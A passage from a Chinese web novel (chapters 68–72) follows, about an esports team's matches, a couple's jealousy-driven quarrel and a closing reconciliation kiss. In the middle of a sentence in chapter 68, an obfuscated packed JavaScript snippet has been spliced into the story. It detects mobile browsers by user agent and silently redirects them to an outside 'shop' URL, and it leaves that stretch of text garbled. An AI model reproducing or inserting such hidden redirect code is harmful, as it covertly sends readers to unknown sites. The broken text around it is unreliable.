“任姐,你从一开始半放养式训练我们,就是希望我们能够在这条路上摸索出自己的打法吧……虽然这个提议确实很晚,但我们不能将时间局限于这次的比赛啊,悟到了这条路,就得让我们去尝试吧。” 任宙的游戏经历简洁而刚劲有力,作为电竞行业鲜少出现的女性,她的每场比赛都备受关注,但她很遗憾,她那时候的孤傲与宣依不同,她甚至在赛场上都有些吝啬与队友的交流,场上只能时常听见她的叹息声。 最后,她带着全联盟最高的kda被劝退,说她不适合这个赛场。 所以她一边将自己所有的心血浇筑于朝阳,一边害怕将他们封闭于太狭窄的环境,让他们失去了探索的能力。 这条路上她是他们的教练,他们也同样成为了她的导师。 齐呈枫那边普遍伤害偏高,经济差距并没被拉得很大,但防御塔的优劣势却格外明显。 宣依扫完对面几人的视野:“鸣哥,龙坑开一波吧。” “这个局面不适合开龙坑吧。”有人开口反驳,兴许是碍于两支队伍并不熟络,并没有将话说得很决绝。 凌一鸣确认了一遍,宣依只淡淡地“嗯”了声,四人便绕进野区打了主宰。 “他们敢开龙?”旁观者感叹。 “这边基本全在下路,开龙没什么问题。” 等下路带兵线攻高地的几人反应过来没人守塔时,唯一留在水晶的中单一个控制落了下来。 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556380|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目标只有兵线,边往后拉边放完了一套技能,等兵线耗没。 龙坑这边也在这个间隙里拿下了主宰。 彼时的对局已经进行了十八分钟,拿完龙,几个人顺着上路汇合的兵线以对角线的距离将上路连推了两座塔,上单还想趁此往前推。 其他人已经各自隐于草丛回城了。 刚回城,上单就被回城守塔的齐呈枫两三下给切了。 “我说了撤退,没听到?”宣依看着播报才发现上单的尸体倒哪儿。 “这么好的机会为什么不推!”他也跟着抱怨,“就回去了一个射手,明明可以推的。” “你在赌什么?”凌一鸣回野区拿刚刷新的蓝,“打了这么久,你心急什么!” 一句气势冲冲的话给他堵得哑口无言。 终于在二十六分钟,脆皮都可以被兵线打死的时间节点,两支队伍都心照不宣地往高地攻去。 只是宣依这边留下了上单和打野守塔,而齐呈枫那边守塔的只有齐呈枫一人。 就在众人越过齐呈枫直奔水晶的一刻,季方时的廉颇一个技能砸在了没人护着的兵线上。 几秒钟前,他卡了一波众人的视野,赶回来支援:“法师和我一起回去。” 程舟稍慢于他回城,上前优先一个大招断了兵线,几个人的技能心照不宣开始往英雄身上打。 “撤撤撤。” “可以打,兵线刷新了。”混乱里,宣依将技能打在兵线上。 凌一鸣也及时向齐呈枫发动攻势,优先砍掉输出。 这边高地一片战火,另一边也差不多,但由于二对二,守的这方还有意往塔下撤,以至于攻方并不占优势。 他们拖延,兵线正赶来。 在齐呈枫被切掉后,几人才撤离高地,凌一鸣进野区打了两只老虎回状态。 卡着上路兵线的视野准备开第二波。 季方时:“回来,守塔。” 凌一鸣:“过来,上路一波。” 这边的攻势撤去,两人便往上路赶。 兵线被掩护在了上单身后,凌一鸣优先拉住难缠的魏晟:“打打打。” 高地一片混乱,技能拉扯里兵线进入水晶范围,射手抗了下中塔伤害绕开几人从另一侧推塔。 水晶炸裂,近三十分钟的对局终于收了尾。 宣依呼了口气取下耳机,外围传来一阵掌声,几人纷纷从电竞椅上起身迎接。 你先我后的拥挤里,宣依莫名走到了齐呈枫的身后,停住了步伐也没有向前打招呼的兴趣。 而他的旁边一个身影也驻步停留,声音淹没于一片热闹里:“谢谢你。” 宣依抬眼看了下季方时,露出一层浅笑。 昏暗里,季方时手中捏着两张被点上黑色笔墨的纸,另一张是从程舟的位置顺走的。 她故意的。 虽然这场游戏输了,可他感受到了被队友信任,一群人并肩作战的感觉,这就够了,他放下手捏着手里的两个小纸团:“礼尚往来,给你推荐个打法,去看看BTG和Wolf19年秋季赛的几场。” 宣依再抬眸时,季方时已经搭着身旁的人探身混入了热议里。 并没有为这句话留下任何后续。 69. 这是第六十九章 与Wolf的友谊赛比想象中要猝不及防些,他们并没有所谓“友谊赛”的头衔而敷衍,反而非常认真。 CY开局确认了上下路换线的计策,Wolf那边也及时拿出对策,百里守约在对线上不算上风但也不会轻易处于劣势,Wolf的打野果断红开后支援上单。 宣依中路清完线后也直接往上路支援,她蹲在草丛伺机而动。 打野目标明确,齐呈枫清线时故意向草丛的方向靠近,宣依也捏着技能随时准备上。 但这片宁静一直到兵线清完也没被打破。 宣依皱眉从后方野区绕进防御塔里:“不打?” “打野没来?”齐呈枫也疑惑。 按中路所探的视野,局势已经很明确了,但却并没有如预料般进行。 好在齐呈枫在前期的节奏方面一向掌握得很好,即使对上的是狂铁,他也打得得心应手,在消磨里甚至消耗了一半多的防御塔。 其他两路的节奏则要慢些,中路还是“礼尚往来”地清线,抢河蟹,而下路两波凌一鸣的抓人都被百里守约躲过了。 僵局在中路抢河蟹的一瞬突然打破,程舟被假视野骗了,被打野拉住伙同中路一同被切了。 游戏进行六分钟,才出现了第一滴血。 灰掉的屏幕只让程舟感觉口干舌燥,指尖还落在未来得及按下的二技能上:“我的我的。” 凌一鸣打完暴君顺势而下收割了没有技能反抗的法师,绕开打野的攻击撤回防御塔下。 “没事,哥带你一换一了。” 原本计划的短暂换路却因为Wolf独特的节奏牵绊未能结束,最后上路的一塔都推了,两人也没换回路。 而百里守约在第三件装备出了后,便不再被魏晟压着打了,他配合着辅助反而埋了魏晟两次,第一次魏晟捏着大招打了个一换二,但第二次的埋伏卡在了魏晟没有大招的节骨眼,魏晟倒下前的终结也未能带走任何。 上下路泾渭分明。 一个显而易见的配合也出现在了CY的视角里,Wolf的战场开始往下路偏向。 “他们应该准备下路开团了。” “跟他们开团还是换路打?”魏晟往后撤,放掉了必然会被推掉的一塔。 “我推上路,你们下路开团。”宣依的刘邦在这种局势下简直太过合适。 凌一鸣和程舟蹲在了红区出口的草丛边,在法师出现的一瞬,一个控制落下后凌一鸣便扑上前发动攻势,程舟则转身拉着一技能和大招直冲冲接应魏晟,用大招封了Wolf三人的后路。 齐呈枫刚到野区,对面法师就已经掉了。 但CY并不讨好,Wolf在输出配合方面的默契相当突出,就算程舟不封走位他们也未必会因为掉了一个法师而选择撤退。 这是一切的乾坤皆在宣依手中捏着。 技能混乱里,齐呈枫姗姗来迟到达战场,宣依也落下技能支援下路。 她带的兵线正推着上路二塔。 而下路也在魏晟大招cd好的一刻瞬间扭转,Wolf一顺陷入了被动。 但少了一个人。 最应该出现在这场团战中的打野却在这波团战宣告结束的时候出现在了中路,带着中路被漠视的兵线推掉了中塔。 就像整场比赛最开始一般,CY以为一切会像想象中那般进行,但所有事情都有了偏差。 只是中路的一座塔掉了,明明这波团战赢的是他们,几个人听着耳机里传来的播报却有些兴奋不起来。 那句插在一堆激昂语音里的“Yourturrethasbeendestroyed”实在突兀。 “果然,这么久的东西不可能一成不变,”宣依沉了口气,平下心绪往中路拉摇杆,“你们回血,我和齐呈枫清兵线。” “气馁什么?”凌一鸣回程状态落下,“好歹这波团战我们赢了,而且都还没推到高地,这才哪到哪。” 他安慰的话甚至连自己的情绪都未能调整过来,Wolf的这波相当于一个下马威,在公共的比赛荧幕之外,告诉CY——他们早就蜕变了。 但众人还是攀着这句话拔起精神:“就是,我们现在经济还领先。” “逆风翻盘而已,打得多了去了。” 顺着状态恢复扬起的士气带着他们再次拉动摇杆,魏晟回归上路,恰好他的经济稍稍落后,来打上路已经成型的优势再好不过。 赛场之外,副队的目光落在大屏幕之上。 每一波攻势也脱离了他们的预测,明明站在上帝视角却依旧分析不清楚此刻的局面究竟谁更胜一筹。 季方时却在此时目光偏离的屏幕里的画面,就像这场友谊赛一开始的目的——输赢并不重要,重要的是有所收获。 而他们已经有了。 - 一场友谊赛结束,训练又回归正轨,宣依将季方时的话记在了心里,只是当下的对手是一支他们并不熟悉的队伍,她并没有时间分神。 为了给季后赛一点容错的机会,CY将目标定在了S组的前四名,其中LGO就是他们重要的一场拿分赛。 夜幕降下,比赛前的加训也在水晶爆裂里落下了帷幕。 齐呈枫收拾好东西后离开训练室,敞亮的大厅里还零散坐着几个人,亮着的几台机器在敲击中疯狂运作着,守班的员工抬眼看向他示意了一下身旁的位置。 宣依的手搭在脸颊下,右手还附在手机背面上,垂下的脸有一大半都被掩在了手臂里。 齐呈枫轻轻抬手附上她的脑袋,揉了揉。 一点微弱的抚动却让那敛着睡眼泛起颤抖,宣依微微摆摆头抬眼,捏着 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“你和那个辅助聊了些什么?”齐呈枫忽然开口问道。 昨天的抓阄,发现这点手脚的除了季方时还有一人。一开始抓的时候,齐呈枫确实是随心乱抓的,本来都与宣依分到了一个队里却因为撞位置又调了回去。 比赛开始前,他无聊的捏着那个纸团,本就细小脆弱的纸团在他的力道里越揉越碎,快要烂掉的时候,他低眉瞧了眼,却看见了上面的黑点。 他侧眸看向身旁季方时的座位,他的纸团被随意丢在桌面上,朝向他的这侧刚好也露出了这个黑点。 所以这并不是一个巧合。 但齐呈枫对这件事并没过多探究,他不否认心里有几分不适,而那场交流里一开始三杀节奏并不是顺其自然的,而是他越野区宣泄的无意之举。 “季方时?”宣依莫名对这个名字印象深刻,在齐呈枫唤出头衔时很快对上了姓名,“他挺有意识的。” 但落在齐呈枫耳中,不仅这个名字,就连补上的后缀都变了腔调:“挺有意思?” 他的手攥紧了几分,挂着笑字音却明显咬牙切齿:“说说看,怎么个有意思。” 宣依被突然收紧的力道捏疼,晃了下手摆脱:“齐呈枫!你耳朵不好使?” “我说的意识,意识!” 她还因那股力道蹙着眉,看着齐呈枫木讷的样子,扭头加快了步伐。 齐呈枫才后知后觉地松懈了自己空荡的手。 从小应有尽有的他,不曾想自己的占有欲竟如此强烈。 他上前去追宣依,连声道歉。 一声声追在身后的“对不起”让宣依停下了脚步,她缓缓抬眼看向齐呈枫:“齐呈枫,你别太过。” 70. 这是第七十章 未说开的话成了两人冷战的导火索,从隔天同行训练再到赛前的大巴车上,两人气氛都淡淡的。 纵是再慢的反射弧也该反应过来了。 任宙的赛前指导里,宣依向齐呈枫投去目光。 她看向他的那一刻,他恰好撤走目光,顺着任宙的话点头。 很快比赛的准备时间结束,CY鼓鼓士气迈步出了休息室,迎着来自观众席的欢呼呐喊鞠躬走进选手席。 对LGO的熟悉仅仅来源于战场回放,也许第一场对局在别人眼中是下马威的最好机会,但CY对上的每支队伍都是新鲜的,他们得有一个熟悉的契机,而每局的第一场便是最合适的机会。 LGO为蓝方,先手ban英雄。 ban位出现蒙犽的一刻,凌一鸣皱眉扶了下耳麦:“他们好像预料到我们第一场打试水赛了。” “毕竟已经这样打一个赛季了,”齐呈枫笑着接话,“没事,那也刚好出其不意。” 他淡然自若的语调并无异样,宣依顺着这句话的尾调借着喝水的动作扭头瞧了眼。 被耳机压塌的刘海模糊了他的眉峰,暗紫色的灯光流动过他的碎发,骨节分明的指尖从耳麦边离开,垂眸专注于手机屏幕上。 宣依再次确认了一下他淡然的模样,清空了思绪,将这些怪异推给了迫在眉睫的比赛。 LGO将他们常用的两个试水射手ban了后,齐呈枫也索性没有半分犹豫用了孙尚香,整场在他的火力全开下以大顺风的姿态十二分钟便拿下了胜利。 稍加调整后很快又进入了第二场比赛。 这一场连BP环节都变得漫长,CY这边选定的每个英雄仿佛都成了一番阅读理解,LGO几乎每次都卡着时间点选择英雄。 任宙站在选手席后方,看着这一幕不自觉拧了眉头。 在进入S组时,他们对每一支战队进行了一个分析,之所以会将赢两场的目标定在LGO身上,有一个最主要的原因——这支战队在经济发育的前期会规避团战损失。 第一场CY能快速拿下也有这个原因掺杂,他们前期不会主动开团,守不下的塔会果断放掉。 但这一场他们商量这么久的选英雄却并不是在针对CY的阵容,而是选出在前期便可以开团的阵容。 他们这一场要改变打法了。 “依依,”任宙靠近宣依和齐呈枫的位置中间,“这场前七分钟别接团。” 宣依和齐呈枫同时因为身侧的人影仰目。 两束目光还未来得及交织,就在屏幕里催促的倒计时里被拉开。 比赛很快开始,宣依购买了辅助宝石随程舟往中路清线。 对面的中单是安琪拉,由于前期清线速度的优势,辅助的视野并没有出现在中路,宣依确认了一下视野后便转了摇杆跟凌一鸣。 齐呈枫趁着上把的手感火热在下路有自己的节奏,宣依此刻辅佐凌一鸣进行快速的刷野是最佳的选择。 而LGO也趁此发动了第一波攻势,六分钟,第二只暴君刷新,凌一鸣拿完蓝buff后直奔过去,宣依也跟上节奏。 而与此同时,安琪拉清完对峙的中路兵线绕进了野区,程舟道:“安琪拉离开中路了。” 这边话刚落下,对面打野伙同辅助的视野一并出现在了下路,齐呈枫被围在了中间。 唯一空闲出来的河道方向也必然会出现安琪拉的埋伏,他只得直面当前的攻势,往草丛方向掩身攻击。 而河道埋伏的安琪拉截断的则是程舟支援的路,齐呈枫也在三人的攻势里迅速败下阵来。 手机落在桌面上“哐”的一声让他冷静下来:“他们要压我发育的话,你继续跟鸣哥就行。” 好在齐呈枫掉之前将兵线清了,LGO无从推塔,拿了人头后便各自离开了下路。 观众席也因屏幕里投放的这一幕议论纷纷。 秦珠脸上挂着的却是淡然,只是她指尖的汗沾湿了楚秋秋的手心,让她的笔画有了实体。 “珠珠?”楚秋秋扭头看她。 从卡位赛结束后的那场庆功宴后,两人的关系变得熟络,楚秋秋总是坐在旁边惊声感叹某一波团战里的细节,而秦珠观赛时的状态却总是游离在赛场之外。 楚秋秋总觉得和这样的人观赛大多时候都很扫兴,但好在她也并不喜欢讨论赛场的内容,往心里憋一憋便权当秦珠只是个无言的陪同者罢了。 就在这波攻势之前,秦珠正扯着她的手给她看不专业的手相。 “没事没事,”秦珠扯着笑,开口道的话却不再置身事外,“这波影响严重吗?” 楚秋秋顺着她的话瞧了眼荧幕里又恢复平静的峡谷:“对下路发育很明显,Archer会慢一波兵线,不能及时跟上其他路的支援,但这场辅助跟的是打野,其他路不会有太大影响,而且这波拿了暴君……” 她将憋在心里的一通话一口气吐了出来。 “拜托!我追竞这么久,眼光可毒辣着,CY绝对有夺冠的潜力……”趁着这个机会,楚秋秋连带上私货一句接一句,“不过你之前不是不在意输赢的嘛?” 秦珠听完楚秋秋前半句的解答,已经放松了下来,此刻挂着笑意将目光投向选手席的个人屏幕。 她视线很精准,没有半分犹豫,带着楚秋秋的视线一同看向了落座于选手席最边缘座位,高清显示屏居高临下地记录着宣依沉头认真游戏的模样。 比起中间被激烈的游戏场景布满的屏幕,秦珠更常看这面屏幕,看她在赛场上为自己所追求的事物奋勇张扬的姿态。 “她在乎呀。” - 连输两场的LGO在第三场也打着逆风局,但打野在一波射手辅助分开的河道草丛位单切了射手后,局势有了微弱的扭转。 CY节奏很稳,必然不会因为这个失误而崩盘。楚秋秋作为观众也没有将这波Archer的死亡当回事。 但战局拖到十七八分钟的时候,台下的观众才意识到节奏不太对。 “怎么这么大的顺风局还打了十八分钟?” “哪看出来顺风了,LGO人头和经济还高些。” “就多一个人头也算多啊?连赢两把打把慢节奏怎么了?” 宣依指尖溺出点点汗液,润滑了屏幕里的摇杆:“别开团了,打不了。 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凌一鸣换名刀的动作都被预料到,复活甲效果刚结束,射手很快连连又补上两下攻击。 本来魏晟和程舟两人想守一波水晶难度并不大,可偏偏对面辅助是刘禅,带着“干扰”效果不顾两人打在兵线或是他身上的伤害,一锤砸在水晶上,后面气势汹汹更上一群推塔的动作。 水晶炸裂的一刻,周边是已经倒下的兵线尸体和一群站位集中的英雄。 他们俩活着,却没办法反抗这波强推。 秦珠心一悬,看着宣依一口一口往嗓子里闷水,隔着漫长距离却看着她咳了两声后又正色扶了耳麦。 而身旁的齐呈枫动作出奇一致,喝水……秦珠怒斥着自己在距离上的无能为力:“齐呈枫在干嘛呢!” 解说员还意犹未尽地说着刚才发生的局面,楚秋秋也因为这场失利并没管身旁秦珠的喃喃自语。 “还说喜欢呢!男人都只是嘴上说说罢了!” 她的这份怨气直到第四场结束,CY再次顺风局拿下比赛也未褪去,比赛一结束就起身去休息室堵人。 宣依连着几场比赛,因为死亡次数少大多时间都过于投入,朝前迈的步伐都是疲惫的,但远远看见秦珠倚在门边的身影,迅速提上一口气挂上自若的笑意:“迎接我?” “算迎接嘛?能赢不是必然的?” 秦珠挽着宣依进了休息室,任宙还要处理比赛后的事,这个时间段给了众人充裕的放松时间。 几个人因比赛余味的话也在这片安静里默契地收了尾,各自散懒下来闭目休息。 沉寂里,宣依听着秦珠扯的其他话也很快噤了声,平稳的呼吸声里,秦珠转身拍了下齐呈枫的肩,冷淡打下的目光示意他出休息室。 “嗯?”齐呈枫停在了门口,看向秦珠要引他去别处的背影。 秦珠也不顾有无人来往,齐呈枫站定了她也懒得寻个谈话的好地方。 直奔主题道:“你和依依吵架了?” 71. 这是第七十一章 齐呈枫垂下脑袋,情绪在本就昏暗的走廊里隐匿起来,他沉默着一言不发。 秦珠心领神会,态度坚定:“依依她的反射弧有些长,很多事情她察觉得会慢些,你总得让着她一点,如果你这都接受不了,那就别谈了。” “我……” 齐呈枫在刚结束比赛,思绪一片凌乱里都没想为这件事做辩解,他清楚知道关于纸团的事情很简单,只是宣依的一个善举,就像小时候她站出来维护自己一样。 她从来没变过,她永远都是那个可以为了别人尽一份绵薄之力的人,即使那个人是个不想熟的陌生人。 这一切仿佛只是他自己的小肚鸡肠罢了。 “我知道,”齐呈枫看着自己的鞋尖,语气低沉,“但有些事情,她其实没必要瞒着我。” 当齐呈枫看透纸上的心机时,连通着同他商量的队友交换训练也有了源头——都是为了季方时。 门把手“咔哒”向下转动,两束目光转向休息室的门。 宣依拉开门探出身子看向倚靠在门边的齐呈枫。 两束目光对峙上。 这两日保持着表面热络的两人仿佛此刻才为冷战做了一个明确的开场白。 “不用让着我。” 宣依有察觉到和齐呈枫之间微妙的变化,闭目养神时耳畔悠哉分享的声音来自秦珠,脑海里的画面却全是齐呈枫,当耳畔边的声音戛然而止时,她抬眸看向了一个方向。 一个进门时就下意识关注的方向。 于是她跟上前,靠在了门边。 她确实反射弧很慢,以至于这段话尽数落在她耳中,她也并没意识到所谓瞒着齐呈枫的事情是什么。 “齐呈枫,我说过我不喜欢弯弯绕绕,你如果有什么不满你可以直接说,我不是什么受不得委屈的千金,不用你在这儿委曲求全地一让再让。” 她的话利落干脆,连带着拉住秦珠向走廊一侧离开的动作一同决绝。 而齐呈枫低头沉默下来,任这本能一两句话说清楚的事情发酵。 “你和齐呈枫到底怎么啦?”秦珠被宣依带着走出会场。 “鬼知道,”宣依抱怨,“记了个名字都吃醋,真不理解。” “不至于吧。” 秦珠虽然是个绝对性质站在依依这边的人,但又理智地认为齐呈枫不至于如此失轻重。 宣依只觉得就像之前因为和楚秋秋聊两句就吃醋一样,而这次换了个男生事态更严重些:“怎么不至于了。” 那倘若让齐呈枫知道自己还为季方时做了些不公平的小动作,他只会更生气。 两人乘上大巴,坐在了末排。 宣依坐在了靠窗的里侧,将齐呈枫落座身边的机会垄断。 秦珠落座后准备聊点其他的话题转移宣依的注意力,但一看身旁她低落的模样又止了口。 闷热的车尾排,宣依偏倒着脑袋望向公路上流动的车辆,过往次次和齐呈枫并肩坐在一起的画面穿插进这和谐的玻璃窗景里。 随着车门传来的一阵热闹,一群人涌上大巴车,车厢变得喧嚷起来。 她说,不用他让步。 可她不得不承认,在这样一片热闹里她是期待齐呈枫主动上前道歉的,就像以往数次一样……她已经习惯了他的让步。 可是这个身影并没有出现。 宣依的目光从车窗挪开,不自然地扫视着被重重座位遮挡的身影,她自己都没意识到此刻紧拧的眉头。 “我们这一列前面两排,外侧。”秦珠朝着走廊弯腰望去。 她还没来得及思考这个座位有什么奇怪的,只是很下意识关注到了一件事:“没有靠窗的位置了嘛,他不是晕车嘛?” 秦珠并没回答,只是淡淡地看着她。 宣依后知后觉想补充些挽回自己形象的话,却被秦珠的话堵了回去:“没事,在我面前这些伪装没必要的。” 这些日子好不容易满面笑颜的宣依又挂上了冷淡的神色,秦珠握上她的手安抚着开口:“依依,你别这样。” 安慰时相似的动作让宣依心一颤,竟一瞬红了眼眶。她瘪了下嘴有些认输般垂眸看向膝盖上重叠在一起的手:“珠珠,我是不是……不太讨人喜欢啊?” “胡说什么呢!” 泪珠在这句坚定的维护里从眼眶溺了出来,连带着语气都沾染上了哭腔:“可是齐呈枫那样有耐心,他都不理我了……” “依依,你怎么会这样想呢?”秦珠扯着短袖的衣袖,连带着整个手臂靠向宣依的脸颊,为她擦眼泪。 宣依下意识往后仰:“脏。” “我没带纸,”秦珠一把扯着袖子贴上她的脸,“那你不哭了。” 秦珠安静下来,给宣依缓和的时间,悄摸抬起了手机。 - 下了车后,宣依和秦珠走在末尾,前面的人进了巷子,秦珠准备跟上,宣依却朝着另一个方向转弯。 “依依,你不吃饭吗?” 秦珠的声音不算小,和她们只隔着一小段距离的一群男生闻声回头看了过来。 一众目光里,自然包括齐呈枫。 宣依摆摆头:“你们去吧,我就不去了。” “吵个架,连饭都不吃了,至于吗?” 人群里传来这道冷厉的声音。 重逢时被迫的自我介绍,被打搅美梦当司机的早晨都没出现过的低沉嗓音此刻却带着清晰的质问语调窜入耳。 宣依看向他,整个人僵在了原地。 吵架……他们开始争吵了吗? 就因为记住了一个名字,至于吗? “为了你不吃饭,值得吗?”宣依沉沉一口气落下,也将话说得很难听,“我只是觉得,和你在一张桌子上吃饭很倒胃口。” 一群人的目光不知所措地在两人之间来回切换。 宣依讨厌这样的感觉,可此刻她却没办法转身就走。 “正好,我不想吃。” 齐呈枫从静止的一群人中走了出来,与依旧杵在原地的宣依擦肩而过,熟悉的气息冷冷掠过,什么也没留下。 只是原本一方的热闹现在也变得郁郁寡欢起来,落座后谁也没说话,等菜上齐后也一言不发地低头吃饭,就连夹菜的动作幅度都小心翼翼般。 众人的位置有几分固定,秦珠并不是每次都会跟来一起吃,但宣依身边必然有一个位置是她,而另一个便是齐呈枫。 她身边时常会空一个位置,只是第一次空出了左边的一个。 凌一鸣无声望向那个空位,却看见一个身影停在其后,手里还抓着一束包装好的花束,他抬眼看去,季方时站在那儿,犹豫了分秒后抬手将花束搁在了桌上:“给……” “操!”程舟筷子敲在碗上猛地站起 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脑海里涌现了齐呈枫的那句“有些事情,她其实没必要瞒着我”……明明那样忧愁的语气,他去做了说客却被蒙在鼓里。 “我没什么身份站出来说这件事,”季方时推了下那束花,“这个拿去哄哄他。” 宣依理通了思绪,捏着桌上的手机起身:“送这束花只会更严重。” 话语间,她离开座位拿着手机给齐呈枫发消息。 踏上门槛阶梯,熟悉的气息让她指尖敲打的字母没了后续。 两人仅隔着两级台阶,齐呈枫灰黑的影子波浪式落在她身旁,落在她身上的目光如这道深沉无声的影子一般,透出压迫感。 宣依还没来得及收回手机扯上讨好的笑意,清冷的声音从顶上落下。 “哦,和我吃饭倒胃口,”他微微仰目,视线擦过宣依的身影看向她起身离开的座位,“和他就不会。” 没什么情绪的陈述,像是已经认定了这件事。 他的视线掠过桌上那捧开得正鲜艳的花束,喉间弹出一声自嘲的嗤笑,像是无可奈何般,他翻转过手机屏幕,微微向下叩。 两人的聊天落入宣依眼中。 局限的屏幕里一人一句的对话落入眼中。 【珠:依依有什么瞒着你的事两人当面讲清楚不就好了,小情侣床头吵架床尾和的,万一是个误会闹成这样多伤感情】 【7:她想瞒,我就不应该知道】 【珠:依依她习惯了用这种方式将距离拉开,你一开始就应该知道的】 【7:狠话,没在意】 【珠:季方时来了】 半分钟前的消息并未得到回复,但他分明是因为这句消息而出现。 宣依扫完那些消息,陷入了沉默。 两人的矛盾,做出沟通的却是秦珠,他们都在想解决问题,她却从一开始就逃避了根本原因。 “对不起……”宣依垂下头。 “你现在道歉的内容是什么呢?” 齐呈枫他不想争吵,倘若这件事宣依一直无所反应,他慢慢也就消化掉了,但这件事却像一个死结一般哪怕解开也会有痕迹,就在他慢慢解开时又因为秦珠的一句话向两边一拉,越系越紧。 直到此刻,死结成了绳上的一个分段点,线条已经模糊到无法尝试解开。 72. 这是第七十二章 他声音压得很低,将语调里呼之欲出的哽咽埋没掉,一双黑眸居高临下地看着宣依:“是觉得刚才的狠话过分了还是觉得自己做了什么需要求原谅的事?” “都有。” 宣依迈上一级台阶,将两人的距离拉进,抬手附上齐呈枫的眼角:“齐呈枫,对不起嘛。” 她看着他的眼睛,只觉他受了委屈,就连凌冽的目光都沾上泪光一般。 但先落泪的那个人却是宣依。 这句话的尾音还没落下,泪水就从眼角滑落。 齐呈枫抬眼扫向饭馆里那群追寻后续的目光,叹了口气,抬手握住宣依附在眼角的手,轻轻往自己身前拉,轻声说:“明明那么讨厌被围观。” 他松垮地握住她的手腕,带着她窜入小巷的更深处。 掌心与肌肤的距离是未解开的绳结。 破损的灰黑石砖墙压得整条路宁静沉重,明明那样宽敞的巷道却容不下俩人并肩。 齐呈枫走在前面的步伐不紧不慢,看着眼前的宽阔大道,终于缓缓平息了因为那滴泪泛上的情绪。 手心里是她纤细的腕,手指触碰的那寸肌肤冰凉,冰凉得仿佛不属于这个起风都燥热的傍晚,也不属于他。 “齐呈枫。” 宣依任凭他握着,漫无目的地随着巷子的拐角穿梭,她抬眼看向来时路出声唤住他。 他停步,头还未转过来,却优先撤去了手上的动作,连带着那股温暖一同抽走。 只是手腕还留存着那股温热,齐呈枫转过头来时,她正不太适应地用自己的手重新盖上去,妄想留住温度的消逝。 两人停在了路过的第二个巷口处,在这个错综复杂的巷子里他并没留心墙面的标识,可宣依看见了,她回头指向来时巷口处的告示牌:“再往前又要绕回去了。” “多绕几圈就清醒了。” “我又没喝酒,”宣依刻意凑近了些,将他往墙壁逼,语气认真地将每件事都娓娓道来,步伐和语气都让他退无可退,“那束花是季方时买给你的,是我一直在逃避事情的根本。” “哦。”齐呈枫脚后跟抵上了墙沿,两指极其有分寸地抵上宣依的肩让她停住了脚步。 宣依顺势双手捉住他的手腕,拉扯着摇摆:“对不起嘛,把你当工具人还不告诉你我的想法,甚至在季方时告诉我之前都还想着这种事情没必要告诉你……明明察觉到你情绪变化却没有主动询问,反而是秦珠先发现还来替我解决问题。” 齐呈枫其实并没想过事情会发展成这样,此刻就连宣依阐述这些时自责的模样都直戳他心窝。他没有摆脱被握住的手,反而抬起另一只手去抚摸她今天松乱的低马尾:“依依,这不是反应慢不慢的事情,你有任何想法都可以告诉我的,不要觉得我会吃醋什么的就选择瞒着我……” 宣依的话其实并没落在齐呈枫在意的地方,可齐呈枫这些情绪并不是为了争吵,也没想要宣依道歉什么的。 “我自己发现了,反而更难受。”话到这儿,他的声音添上了一份哽咽。 这件事并不光彩,无论对于宣依还是季方时而言,归根结底算是作弊行为。 齐呈枫发现后便在游戏结束时漫不经心地将那些纸团全都扔进了垃圾桶,原本的计划里那些当时产生的负面情绪理应一同扔进去……只可惜事与愿违。 宣依一把揽住了齐呈枫的腰,紧紧圈揽住,将自己埋在其中。 她听出来了。 向来冷静的齐呈枫因为这件事而哽咽,已经受了委屈还被自己反复丢狠话。 现在却这么简单就原谅了,连让她哄哄的机会都不给。 她收紧了这个拥抱,生怕齐呈枫会逃脱一般,头埋在他的心口前,脑子里什么也没有,只是一个劲地在说“对不起”。 就像那天他追着她的道歉一样。 在一声声“对不起”里,她所收获的是头顶传来的一声呼唤。 她抬头,猝不及防地迎上一个吻。 因为拥抱卸下了平稳的支撑,吻落下的那一刻她甚至没站稳。 齐呈枫手臂环过她的脊背拖住了她脚软偏倒的身子,又带着她往上顶。嘴唇随着宣依被支撑起的一瞬贴实。 此刻的宣依总觉得该弥补一些东西,借着齐呈枫手臂的力,她踮起脚让双唇有了更多发挥的空间。 她的手从两人紧贴在一起的身子里往上攀,嘴唇吮吸间,眼睛眯开一条缝,确认了一下齐呈枫的姿态,攀上肩头的手臂顺势搂住他的脖颈,将他也往下带。 这一瞬,能明显感受到齐呈枫愣住了,停下了动作。 也是这一刻,宣依的舌尖向外探,触上齐呈枫的嘴唇,一霎那的湿润,很快便撤回了安全地带。 齐呈枫生硬地抽离了这个吻,湿漉眼睛里映着晦暗的身影,他蹙眉:“依依?” 宣依掀开眼瞧了下他,目光很快又重新锁定上他的嘴唇,又闭了眼,双手压着他的脖子,仰头再次续上了这个吻。 漆黑的夜幕落下,只有暖风刮过。 齐呈枫感受到风刮来,手掌扶着宣依的腰带着她转过半个圈,将她揽向墙沿一侧。 她未能逼近的步伐却被他一步带到位,他向里贴得更近些,为她挡住凌乱的风,手掌扶着她的后脑勺,将她抵上去。 掌背擦过墙壁石砖,不知怎的嘴唇有些干涩。 他不觉回忆起刚才那一瞬猝不及防的滋味,只是不忍再抽离,贪婪吮吸的间隙里,他含糊地问:“可以伸舌头吗?” 他问的是自己,回应他的却是趁着这一秒入侵的舌尖。 两人都没有经验,探进陌生地带只胡乱搜刮的舌尖猝不及防地缠到了一起。 嘴唇上的接触变得模糊,齐呈枫往下压身子,带着宣依的脑袋擦在自己的掌心上。 唇舌交缠,呼吸纠葛。 两人都迫切地想要再近些,齐呈枫往下弯腰,宣依抵着墙踮脚,手臂不再委婉地往下压,大胆地圈着他的脖子往下带。 像是要把对方融进身体般。 齐呈枫手心一紧,力道作用在了宣依的腰间。 “嗯啊…” 不知是因腰间发麻发痒的触觉还是这个吻,宣依哼唧出声打断了这场吻。 齐呈枫停了下来,眼皮耷拉着仿若处于半梦半醒的虚空之中。一点点掀开眼帘,触及宣依那双因热吻浸湿的眼 